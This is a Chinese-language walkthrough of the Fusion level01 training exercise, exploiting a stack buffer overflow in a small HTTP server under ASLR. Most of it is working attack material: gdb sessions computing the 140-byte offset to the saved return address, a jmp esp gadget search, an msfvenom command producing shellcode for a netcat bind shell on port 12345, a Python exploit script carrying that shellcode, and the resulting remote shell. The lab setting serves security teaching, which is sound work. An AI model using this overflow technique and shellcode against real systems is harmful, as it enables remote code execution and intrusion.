黑客入門(mén)之fusion level01
http://exploit-exercises.com/fusion/level01
About
level00 with stack/heap/mmap aslr, without info leak :)
Vulnerability Type Stack
Position Independent Executable No
Read only relocations No
Non-Executable stack No
Non-Executable heap No
Address Space Layout Randomisation Yes
Source Fortification No
Source code
?1#include "../common/common.c" ?
?2
?3int fix_path(char *path)
?4{
?5 ?char resolved[128];
?6 ?
?7 ?if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
?8 ?strcpy(path, resolved);
?9}
10
11char *parse_http_request()
12{
13 ?char buffer[1024];
14 ?char *path;
15 ?char *q;
16
17 ?// printf("[debug] buffer is at 0x%08x :-)n", buffer); :D
18
19 ?if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
20 ?if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
21
22 ?path = &buffer[4];
23 ?q = strchr(path, ' ');
24 ?if(! q) errx(0, "No protocol version specified");
25 ?*q++ = 0;
26 ?if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
27
28 ?fix_path(path);
29
30 ?printf("trying to access %sn", path);
31
32 ?return path;
33}
34
35int main(int argc, char **argv, char **envp)
36{
37 ?int fd;
38 ?char *p;
39
40 ?background_process(NAME, UID, GID); ?
41 ?fd = serve_forever(PORT);
42 ?set_io(fd);
43
44 ?parse_http_request(); ?
45}
這個(gè)程序中的fix_path函數(shù)，使用自己聲明的一個(gè)char resolved[128];來(lái)存儲(chǔ)用戶提交的絕對(duì)路徑，由于strcpy沒(méi)有對(duì)長(zhǎng)度進(jìn)行檢查， 所以返回的時(shí)候存在overflow。如果傳遞給realpath函數(shù)的第二個(gè)參數(shù)為NULL， 那么realpath內(nèi)部就會(huì)使用malloc來(lái)分配一個(gè)PATH_MAX長(zhǎng)度的緩沖區(qū)，fix_path的漏洞就不存在了。
首先可以查看一下MAX_PATH的大小
fusion@fusion:/opt/metasploit-framework$ cat /usr/include/linux/limits.h
#ifndef _LINUX_LIMITS_H
#define _LINUX_LIMITS_H
#define NR_OPEN 1024
#define NGROUPS_MAX 65536 /* supplemental group IDs are available */
#define ARG_MAX 131072 /* # bytes of args + environ for exec() */
#define LINK_MAX 127 /* # links a file may have */
#define MAX_CANON 255 /* size of the canonical input queue */
#define MAX_INPUT 255 /* size of the type-ahead buffer */
#define NAME_MAX 255 /* # chars in a file name */
#define PATH_MAX 4096 /* # chars in a path name including nul */
#define PIPE_BUF 4096 /* # bytes in atomic write to a pipe */
#define XATTR_NAME_MAX 255 /* # chars in an extended attribute name */
#define XATTR_SIZE_MAX 65536 /* size of an extended attribute value (64k) */
#define XATTR_LIST_MAX 65536 /* size of extended attribute namelist (64k) */
#define RTSIG_MAX 32
#endif
根據(jù)提示這個(gè)程序添加了ASLR的保護(hù)， 所以無(wú)法確定buffer每次運(yùn)行的地址，但是我們可以使用gdb算出resolved和eip的偏移量。
ASLR is enabled by default on the system, the variable randomize_va_space is set to 2. So we?have to deal with full address space randomization (stack, heap, shared libraries, etc...).
我們也可以使用腳本來(lái)檢查一下這個(gè)程序的所有保護(hù)機(jī)制，不得不說(shuō)這個(gè)工具真的很不錯(cuò)。
$ wget -q http://trapkit.de/tools/checksec.sh$ chmod +x checksec.sh
fusion@fusion:~$ ./checksec.sh --file /opt/fusion/bin/level01
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /opt/fusion/bin/level01常用的保護(hù)機(jī)制都沒(méi)有打開(kāi)，我們看到了No PIE
fusion@fusion:~$ sudo gdb -q attach --pid 958
attach: No such file or directory.
Attaching to process 958
Reading symbols from /opt/fusion/bin/level01...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xb7754424 in __kernel_vsyscall ()
(gdb) b fix_path
Breakpoint 1 at 0x804981e: file level01/level01.c, line 7.
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
我們打開(kāi)另一個(gè)終端，運(yùn)行下面命令
fusion@fusion:/opt/metasploit-framework$ python -c 'print "GET /" + "A"* 131 + "CCCC" + "DDDD" + " HTTP/1.1"'| nc localhost 20001回到剛才的終端，我們看到已經(jīng)在函數(shù)fix_path地方停住
Breakpoint 1, fix_path (path=0xbfa5b19c "/", 'A' , "CCCCDDDD") at level01/level01.c:7
7 level01/level01.c: No such file or directory.
in level01/level01.c
(gdb) n
9 in level01/level01.c
(gdb) i r
eax 0x1 1
ecx 0xb75cf8d0 -1218643760
edx 0xbfa5b17c -1079660164
ebx 0xb7747ff4 -1217101836
esp 0xbfa5b0e0 0xbfa5b0e0
ebp 0xbfa5b178 0xbfa5b178
esi 0xbfa5b231 -1079659983
edi 0x8049ed1 134520529
eip 0x8049853 0x8049853
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/64wx $esp
0xbfa5b0e0: 0xbfa5b19c 0xbfa5b0f0 0x000003f3 0x00000200
0xbfa5b0f0: 0x4141412f 0x41414141 0x41414141 0x41414141
0xbfa5b100: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b110: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b120: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b130: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b140: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b150: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b160: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b170: 0x41414141 0x43434343 0x44444444 0x08049900
0xbfa5b180: 0xbfa5b19c 0x00000020 0x00000004 0x00000000
0xbfa5b190: 0x001761e4 0xbfa5b220 0x20544547 0x4141412f
0xbfa5b1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa5b1d0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) p &resolved
$1 = (char (*)[128]) 0xbfa5b0f0
(gdb) p $ebp - 0xbfa5b0f0
$3 = (void *) 0x88
(gdb) p /d $ebp - 0xbfa5b0f0
$4 = 136
通過(guò)上面的調(diào)試， 我們可以看到ebp和resolved的offset為136， 所以保存的eip和resolved的offset為140
由于這個(gè)程序沒(méi)有添加PIE的保護(hù)， 所以.text段中指令每次運(yùn)行的地址是一樣的，我們可以使用.text段中某一條指令的地址來(lái)覆蓋返回地址， 我們使用jmp esp指令，我們不能和之前一樣使用ret指令， 因?yàn)槲覀儾恢缹hellcode存儲(chǔ)在哪里，環(huán)境變量，緩沖區(qū)等地址都是隨機(jī)的。而我們可以利用jmp esp， fix_path函數(shù)執(zhí)行完leave指令后，esp指向之前“保存的eip”的地址，目前被我們覆蓋成jmp esp指令的地址，ret指令（pop %eip）后，esp寄存器的值+4，指向的是（saved eip） + 4， 而下一個(gè)執(zhí)行的指令是jmp esp， 那么eip的值就變成了當(dāng)前esp指向的地方， 如果這個(gè)地方存儲(chǔ)shellcode， 那么就會(huì)執(zhí)行我們構(gòu)造的代碼。
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp
可以看到地址是0x08049f4f
現(xiàn)在我們開(kāi)始構(gòu)造我們的exploit了
格式為get + PATH + ret + shellcode + proto
使用metasploit來(lái)構(gòu)造我們的shellcode
./msfvenom -p linux/x86/exec -b 'x00x20' -f c CMD="mkfifo /tmp/tmp_fifo; cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l -p 12345 > /tmp/tmp_fifo"由于fusion 自己帶的nc沒(méi)有-e選項(xiàng)， 所以不能直接執(zhí)行命令， 為了返回一個(gè)shell， 我們可以參考幫助文檔中的方法。-b選項(xiàng)是指定shellcode中不要含有的字符， 我們這里不能含有x00和x20， 否則字符串在中間就會(huì)被截?cái)唷?
下面是根據(jù)生成的shellcode，構(gòu)造的python腳本
#!/usr/bin/env python
get = "GET /"
PATH = "A"*135 + "FAKE"
#0x08049f4f jmp esp
ret = "x4fx9fx04x08"
proto = " HTTP/1.1"
shellcode = "x2bxc9x83xe9xe0xe8xffxffxffxffxc0x5ex81x76x0e"
shellcode += "xe4x03x5bxfax83xeexfcxe2xf4x8ex08x03x63xb6x65"
shellcode += "x33xd7x87x8axbcx92xcbx70x33xfax8cx2cx39x93x8a"
shellcode += "x8axb8xa8x0cx58x5bxfaxe4x6ex30x9cx8dx65x34xda"
shellcode += "xcbx77x36x8axcbx77x36x8axbbx65x32x9cx8bx38x7b"
shellcode += "x99x85x77x7bxd5x90x6ex2bxd5x90x6ex2bxa5x82x6a"
shellcode += "x3dx95xc4x7fx7bxd5x86x6ax35xd5x97x6bx7bxd7x8d"
shellcode += "x23x69xc4xc2x32x7bx86xc4x6dx38xdaxc9x6fx7bxd7"
shellcode += "x94x23x6axc8xd7x37x6exdaxdax23x74x8ex89x73x74"
shellcode += "x8ex89x73x04x9cx8dx65x34xfaxb3x50xd2x1bx29x83"
shellcode += "x5bxfa"
payload = get + PATH + ret + shellcode + proto
print payload
運(yùn)行下面命令生成payload
fusion@fusion:~$ python pwn01.py > payload01ok， 現(xiàn)在開(kāi)始exploit
fusion@fusion:~$ cat payload01 | nc localhost 20001
fusion@fusion:/opt/metasploit-framework$ nc localhost 12345
sh: no job control in this shell
sh-4.2$ id
id
uid=20001 gid=20001 groups=20001
打完收工！
下載文檔
